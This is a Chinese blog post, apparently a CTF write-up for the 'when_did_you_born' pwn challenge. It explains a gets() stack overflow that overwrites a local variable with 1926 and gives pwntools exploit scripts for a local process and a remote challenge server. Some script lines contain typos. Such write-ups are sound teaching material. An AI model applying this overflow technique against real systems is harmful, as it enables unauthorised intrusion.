when_did_you_born-瞟来的wp
2024-09-05 06:41:19
继上文,这次开始嫖when_did_you_born这题。前面的步骤大致是一样的就不赘述了,直接到代码分析。
字符串
这次呢在main函数处 按下F5进入调试 查看反汇编代码
可以清楚的看到它的逻辑一开始不能让它判断出是1926,否则就会出错,接着呢再输入名字后判断是否是1926,是的话就返回flag,否则就出去。
所以里要进行一下溢出操作直接越过第一次的判断。观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag
首先我们查看v5和v6差了多少字节。
这里分别双击v5和v6判断位置在哪,
这里呢我们在双击v6的时候发现出现在var_8的地方,而v5出现在var_18的位置。可能有些不理解,大家可以这样想,从起始的位置var_20到var_18的位置是v5的所分配的内部空间,既然我想去执行v6的内容那么我们就需要去覆盖掉v5,让程序认为这条路是从var_18开始的。所以这里所要的填充空间就为v5的空间8个字节。
下面是两种方式
from pwn import *
p=process('when')
p.sendafter('Your Birth?',str(0)+'\n')
p.sendafter(' Your Name?','a'*8+p64(1926))
p.interactive() #设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("111.198.29.45", 35099)
#设置payload,准备覆盖
payload = 'a'* (0x20-0x18) +p64(1926)
#这是接受消息,直到什么停止这样’
r.recvuntil("What's Your Birth?\n")‘
#发送消息
r.sendline("2000")’
r.recvuntil("What's Your Name?\n")‘
r.sendline(payload)
printr.recv()
printr.recv()
结果
知识回顾: 栈溢出 ,在这题看来就是地址覆盖,只要我们找可能执行的位置然后用我们想要的去覆盖掉,就可以执行我们想要的结果。
不要你觉得,我要我觉得。
最新文章
- 机器学习笔记----Fuzzy c-means(FCM)模糊聚类详解及matlab实现
- 哪些HTML5特性值得期待
- git浅谈
- [Logstash]使用详解
- css定义的权重
- action 带参数跳转
- CSS——LESS
- 如何用Windbg找到被catch住的C++的异常
- Linux wget下载https类型文件报错解决方法 转自老左博客
- Oracle EBS-SQL (BOM-1):检查供应类型错误.sql
- 对面向对象的理解—— SAP电面(1)
- UITableView的常用方法
- Hibernate 之强大的HQL查询
- 读《Java并发编程的艺术》(二)
- SpringBoot+Mybatis+ Druid+PageHelper 实现多数据源并分页
- 用汇编语言角度来理解C语言的一些问题
- TensorFlow install
- VIO回顾:从滤波和优化的视角
- DDR4 PSOD输出的优点--DBI的优点
- 1601O_HOME
热门文章
- redhat 7.6 iptables 配置
- day03-Mybatis中一对一、一对多、多对多查询
- Steam 游戏 《The Vagrant(流浪者)》修改器制作-[先使用CE写,之后有时间的话改用CheatMaker](2020年寒假小目标08)
- jquery移除click事件
- ios中使用socket实现聊天
- 《iOS开发实战 从入门到上架App Store(第2版)》书籍目录
- 笔记-Python-性能优化
- Codeforces 601A:The Two Routes 宽搜最短路径
- 动态设置WX滚动条的高度(非常重要)
- Systemverilog for design 笔记(五)